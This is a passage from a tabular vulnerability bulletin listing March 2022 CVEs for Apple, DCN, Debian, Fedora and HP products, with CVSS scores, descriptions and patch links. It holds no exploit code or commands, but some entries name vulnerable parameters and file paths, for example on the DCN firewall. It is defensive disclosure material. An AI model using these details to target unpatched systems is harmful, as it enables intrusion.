N/A	18-Mar-22	5.5	The issue was addressed with improved permissions logic. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to bypass certain Privacy preferences. **CVE ID : CVE-2022-22600**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/750
N/A	18-Mar-22	7.5	The issue was addressed with additional permissions checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to read other	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/751

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			applications' settings. **CVE ID : CVE-2022-22609**		
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved input validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to arbitrary code execution. **CVE ID : CVE-2022-22611**	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/752
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Mar-22	7.8	A memory consumption issue was addressed with improved memory handling. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22612**	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/753
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds	https://support.apple.com/en-us/HT213186, https://support	O-APP-TVOS-070422/754

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22613**	.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22614**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/755
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina,	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support	O-APP-TVOS-070422/756

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22615**	.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Exposure of Sensitive Information to an Unauthorized Actor	18-Mar-22	4.6	This issue was addressed with improved checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions. **CVE ID : CVE-2022-22621**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/757
N/A	18-Mar-22	9.8	A logic issue was addressed with improved state management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, watchOS 8.5, macOS Monterey 12.3. A malicious application may be able to elevate privileges. **CVE ID : CVE-2022-22632**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/758

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	7.8	A buffer overflow was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22634**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-TVOS-070422/759
Out-of-bounds Write	18-Mar-22	9.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. An application may be able to gain elevated privileges. **CVE ID : CVE-2022-22635**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-TVOS-070422/760
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22636**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182	O-APP-TVOS-070422/761
NULL Pointer	18-Mar-22	6.5	A null pointer dereference was addressed with	https://support.apple.com/en-us/HT213186,	O-APP-TVOS-070422/762

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Dereference			improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An attacker in a privileged position may be able to perform a denial of service attack. **CVE ID : CVE-2022-22638**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22640**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/763
Use After Free	18-Mar-22	9.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3. An application may be able to gain elevated privileges.	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213183	O-APP-TVOS-070422/764

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-22641		
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22666**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-TVOS-070422/765
N/A	18-Mar-22	3.3	An access issue was addressed with improved access restrictions. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. A malicious application may be able to identify what other applications a user has installed. **CVE ID : CVE-2022-22670**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-TVOS-070422/766
Product: watchos					
Improper Privilege Management	18-Mar-22	7.8	A logic issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. A malicious application may be	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support	O-APP-WATC-070422/767

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			able to gain root privileges. **CVE ID : CVE-2022-22578**	.apple.com/en-us/HT213053	
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.3, iOS 15.3 and iPadOS 15.3, watchOS 8.4, macOS Monterey 12.2. Processing a maliciously crafted file may lead to arbitrary code execution. **CVE ID : CVE-2022-22584**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-WATC-070422/768
Improper Link Resolution Before File Access ('Link Following')	18-Mar-22	7.5	An issue existed within the path validation logic for symlinks. This issue was addressed with improved path sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, macOS Monterey 12.2, macOS Big Sur 11.6.3. An application may be able to access a user's files. **CVE ID : CVE-2022-22585**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-WATC-070422/769
Improper Input Validation	18-Mar-22	6.1	A validation issue was addressed with improved input	https://support.apple.com/en-us/HT213058,	O-APP-WATC-070422/770

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sanitization. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing a maliciously crafted mail message may lead to running arbitrary javascript. **CVE ID : CVE-2022-22589**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	
Use After Free	18-Mar-22	8.8	A use after free issue was addressed with improved memory management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2022-22590**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-WATC-070422/771
N/A	18-Mar-22	6.5	A logic issue was addressed with improved state management. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. Processing maliciously crafted	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054,	O-APP-WATC-070422/772

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			web content may prevent Content Security Policy from being enforced. **CVE ID : CVE-2022-22592**	https://support.apple.com/en-us/HT213053	
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	18-Mar-22	7.8	A buffer overflow issue was addressed with improved memory handling. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Security Update 2022-001 Catalina, macOS Monterey 12.2, macOS Big Sur 11.6.3. A malicious application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22593**	https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213056, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213055, https://support.apple.com/en-us/HT213053	O-APP-WATC-070422/773
Origin Validation Error	18-Mar-22	6.5	A cross-origin issue in the IndexDB API was addressed with improved input validation. This issue is fixed in iOS 15.3 and iPadOS 15.3, watchOS 8.4, tvOS 15.3, Safari 15.3, macOS Monterey 12.2. A website may be able to track sensitive user information. **CVE ID : CVE-2022-22594**	https://support.apple.com/en-us/HT213058, https://support.apple.com/en-us/HT213059, https://support.apple.com/en-us/HT213057, https://support.apple.com/en-us/HT213054, https://support.apple.com/en-us/HT213053	O-APP-WATC-070422/774

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22596**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-WATC-070422/775
Incorrect Permission Assignment for Critical Resource	18-Mar-22	2.4	Description: A permissions issue was addressed with improved validation. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. A person with physical access to a device may be able to use Siri to obtain some location information from the lock screen. **CVE ID : CVE-2022-22599**	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/776
N/A	18-Mar-22	5.5	The issue was addressed with improved permissions logic. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support	O-APP-WATC-070422/777

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			able to bypass certain Privacy preferences. **CVE ID : CVE-2022-22600**	.apple.com/en-us/HT213183	
N/A	18-Mar-22	7.5	The issue was addressed with additional permissions checks. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A malicious application may be able to read other applications' settings. **CVE ID : CVE-2022-22609**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/778
Out-of-bounds Read	18-Mar-22	7.8	An out-of-bounds read was addressed with improved input validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to arbitrary code execution. **CVE ID : CVE-2022-22611**	https://support.apple.com/en-us/HT213188, https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/779
Improper Restriction of Operations	18-Mar-22	7.8	A memory consumption issue was addressed with improved memory	https://support.apple.com/en-us/HT213188, https://support	O-APP-WATC-070422/780

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
within the Bounds of a Memory Buffer			handling. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, iTunes 12.12.3 for Windows, watchOS 8.5, macOS Monterey 12.3. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22612**	.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Out-of-bounds Write	18-Mar-22	7.8	An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22613**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/781
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-	O-APP-WATC-070422/782

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22614**	us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
Use After Free	18-Mar-22	7.8	A use after free issue was addressed with improved memory management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22615**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/783
Incorrect Authorization	18-Mar-22	7.8	This issue was addressed with improved checks. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4. A user may be able to bypass the Emergency SOS passcode prompt. **CVE ID : CVE-2022-22618**	https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-WATC-070422/784
Exposure of Sensitive Information to an	18-Mar-22	4.6	This issue was addressed with improved checks. This issue is fixed in tvOS 15.4, iOS 15.4	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-	O-APP-WATC-070422/785

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Unauthorized Actor			and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. A person with physical access to an iOS device may be able to see sensitive information via keyboard suggestions. **CVE ID : CVE-2022-22621**	us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	
N/A	18-Mar-22	9.8	A logic issue was addressed with improved state management. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, watchOS 8.5, macOS Monterey 12.3. A malicious application may be able to elevate privileges. **CVE ID : CVE-2022-22632**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/786
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved state management. This issue is fixed in watchOS 8.5, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, macOS Monterey 12.3. Opening a maliciously crafted PDF file may lead to an unexpected	https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/787

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			application termination or arbitrary code execution. **CVE ID : CVE-2022-22633**		
NULL Pointer Dereference	18-Mar-22	6.5	A null pointer dereference was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Big Sur 11.6.5, Security Update 2022-003 Catalina, watchOS 8.5, macOS Monterey 12.3. An attacker in a privileged position may be able to perform a denial of service attack. **CVE ID : CVE-2022-22638**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213184, https://support.apple.com/en-us/HT213185, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/788
Improper Restriction of Operations within the Bounds of a Memory Buffer	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, macOS Monterey 12.3, watchOS 8.5. An application may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2022-22640**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193, https://support.apple.com/en-us/HT213183	O-APP-WATC-070422/789

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Input Validation	18-Mar-22	4.3	A user interface issue was addressed. This issue is fixed in watchOS 8.5, Safari 15.4. Visiting a malicious website may lead to address bar spoofing. **CVE ID : CVE-2022-22654**	https://support.apple.com/en-us/HT213187, https://support.apple.com/en-us/HT213193	O-APP-WATC-070422/790
Out-of-bounds Write	18-Mar-22	7.8	A memory corruption issue was addressed with improved validation. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. Processing a maliciously crafted image may lead to heap corruption. **CVE ID : CVE-2022-22666**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-WATC-070422/791
N/A	18-Mar-22	3.3	An access issue was addressed with improved access restrictions. This issue is fixed in tvOS 15.4, iOS 15.4 and iPadOS 15.4, watchOS 8.5. A malicious application may be able to identify what other applications a user has installed. **CVE ID : CVE-2022-22670**	https://support.apple.com/en-us/HT213186, https://support.apple.com/en-us/HT213182, https://support.apple.com/en-us/HT213193	O-APP-WATC-070422/792
Vendor: dcnglobal					
Product: dcme-520_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	18-Mar-22	7.5	DCN Firewall DCME-520 was discovered to contain an arbitrary file download vulnerability via the path parameter in the file /audit/log/log_management.php. **CVE ID : CVE-2022-25389**	N/A	O-DCN-DCME-070422/793
N/A	18-Mar-22	9.8	DCN Firewall DCME-520 was discovered to contain a remote command execution (RCE) vulnerability via the host parameter in the file /system/tool/ping.php. **CVE ID : CVE-2022-25390**	N/A	O-DCN-DCME-070422/794
Vendor: Debian					
Product: debian_linux					
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	17-Mar-22	5.9	In Paramiko before 2.10.1, a race condition (between creation and chmod) in the write_private_key_file function could allow unauthorized information disclosure. **CVE ID : CVE-2022-24302**	https://www.paramiko.org/changelog.html	O-DEB-DEBI-070422/795
Vendor: Fedoraproject					
Product: fedora					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Resource Shutdown or Release	23-Mar-22	5.3	BIND 9.16.11 -> 9.16.26, 9.17.0 -> 9.18.0 and versions 9.16.11-S1 -> 9.16.26-S1 of the BIND Supported Preview Edition. Specifically crafted TCP streams can cause connections to BIND to remain in CLOSE_WAIT status for an indefinite period of time, even after the client has terminated the connection. **CVE ID : CVE-2022-0396**	https://kb.isc.org/v1/docs/cve-2022-0396	O-FED-FEDO-070422/796
Improper Authentication	18-Mar-22	9.8	OpenVPN 2.1 until v2.4.12 and v2.5.6 may enable authentication bypass in external authentication plug-ins when more than one of them makes use of deferred authentication replies, which allows an external user to be granted access with only partially correct credentials. **CVE ID : CVE-2022-0547**	https://openvpn.net/community-downloads/, https://community.openvpn.net/openvpn/wiki/SecurityAnnouncements, https://community.openvpn.net/openvpn/wiki/CVE-2022-0547	O-FED-FEDO-070422/797
Improper Neutralization of Special Elements used in an SQL	25-Mar-22	8.8	An SQL injection risk was identified in Badges code relating to configuring criteria. Access to the relevant capability was limited to	N/A	O-FED-FEDO-070422/798

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command ('SQL Injection')			teachers and managers by default. **CVE ID : CVE-2022-0983**		
Use After Free	18-Mar-22	7.8	A flaw use after free in the Linux kernel FUSE filesystem was found in the way user triggers write(). A local user could use this flaw to get some unauthorized access to some data from the FUSE filesystem and as result potentially privilege escalation too. **CVE ID : CVE-2022-1011**	https://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse.git/commit/?h=for-next	O-FED-FEDO-070422/799
Out-of-bounds Write	23-Mar-22	7.8	A heap buffer overflow flaw was found in IPsec ESP transformation code in net/ipv4/esp4.c and net/ipv6/esp6.c. This flaw allows a local attacker with a normal user privilege to overwrite kernel heap objects and may cause a local privilege escalation threat. **CVE ID : CVE-2022-27666**	https://bugzilla.redhat.com/show_bug.cgi?id=2061633, https://github.com/torvalds/linux/commit/ebe48d368e97d007bfeb76fcb065d6cfc4c96645	O-FED-FEDO-070422/800
Vendor: HP					
Product: laserjet_pro_m304-m305_w1a46a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be	https://support.hp.com/us-	O-HP-LASE-070422/801

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	en/document/ish_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/802
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/803
Product: laserjet_pro_m304-m305_w1a47a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/804
N/A	23-Mar-22	9.8	Certain HP Print devices may be	https://support.hp.com/us-	O-HP-LASE-070422/805

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	en/document/ish_5950417-5950443-16	
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/806
Product: laserjet_pro_m304-m305_w1a48a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/807
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/808
N/A	23-Mar-22	9.8	Certain HP Print devices may be	https://support.hp.com/us-	O-HP-LASE-070422/809

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	en/document/ish_5950417-5950443-16	
Product: laserjet_pro_m304-m305_w1a51a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/810
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/811
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/812
Product: laserjet_pro_m304-m305_w1a52a_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/813
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/814
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24293**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/815
Product: laserjet_pro_m304-m305_w1a53a_firmware					
N/A	23-Mar-22	7.5	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24291**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/816

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Mar-22	9.8	Certain HP Print devices may be vulnerable to potential information disclosure, denial of service, or remote code execution. **CVE ID : CVE-2022-24292**	https://support.hp.com/us-en/document/ish_5950417-5950443-16	O-HP-LASE-070422/817
